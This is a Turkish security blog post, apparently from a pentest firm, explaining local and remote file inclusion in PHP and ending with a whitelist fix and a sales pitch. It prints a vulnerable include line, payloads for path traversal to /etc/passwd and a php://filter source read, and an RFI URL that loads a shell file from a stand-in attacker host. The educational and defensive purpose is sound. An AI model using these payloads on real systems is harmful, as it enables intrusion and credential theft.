← Tüm Yazılar
LFI,RFI,Web Güvenliği

LFI ve RFI: Dosya Dahil Etme Açıkları Nasıl Çalışır ve Nasıl Önlenir?

2026-07-31 · REDCELL AR-GE

Dosya dahil etme (File Inclusion) açıkları, bir uygulamanın dosya yolunu kullanıcı girdisinden almasıyla oluşur. Girdi denetlenmezse, saldırgan uygulamanın okuduğu dosyayı değiştirir. İki türü vardır: LFI (yerel) ve RFI (uzak).

Aşağıdaki teknikler yalnızca kendi lab'ınızda veya yetkili test kapsamında denenmelidir (TCK 243-244).

Zafiyetin Kaynağı

Tipik zayıf kod şuna benzer:

<?php include($_GET['sayfa'] . ".php"); ?>

sayfa parametresi doğrudan include'a gidiyor. Normalde ?sayfa=hakkimizda çalışır; ama saldırgan burayı manipüle edebilir.

LFI — Local File Inclusion

Saldırgan, sunucudaki yerel dosyaları okumaya çalışır. Path traversal ile dizinlerde yukarı çıkar:

?sayfa=../../../../etc/passwd%00

/etc/passwd okunabiliyorsa, LFI doğrulanmıştır. PHP wrapper'ları ile kaynak kodu bile okunabilir:

?sayfa=php://filter/convert.base64-encode/resource=config

Bu, config.php'yi base64 olarak döndürür; çözünce veritabanı bilgileri açığa çıkabilir.

İleri seviye: log poisoning. Saldırgan, sunucu log dosyasına PHP kodu yazdırıp (örn. User-Agent üzerinden) ardından o log'u LFI ile dahil ederek kod çalıştırabilir — LFI'yi RCE'ye çevirir.

RFI — Remote File Inclusion

Sunucu ayarları izin veriyorsa (allow_url_include=On), saldırgan uzak bir dosyayı dahil ettirir:

?sayfa=http://saldirgan.ornek/kabuk.txt

Bu, doğrudan uzaktan kod çalıştırma (RCE) demektir. Modern PHP'de varsayılan kapalıdır, ama eski/yanlış yapılandırılmış sistemlerde hâlâ görülür.

Etki

Savunma

$izinli = ['hakkimizda' => 'hakkimizda.php', 'iletisim' => 'iletisim.php'];
$dosya = $izinli[$_GET['sayfa']] ?? 'anasayfa.php';
include($dosya);

Sonuç

File Inclusion, "zararsız bir sayfa parametresi"nin nasıl tam sunucu erişimine dönüşebileceğinin klasik örneğidir. URL'lerinde ?sayfa=, ?dosya=, ?dil= gibi parametreler olan uygulamalar mutlaka test edilmelidir. REDCELL bu zinciri güvenli biçimde deneyip kapatma reçetesini verir — ücretsiz ön değerlendirme.

Sisteminizin güvenliğinden emin misiniz?

Ücretsiz Ön Değerlendirme →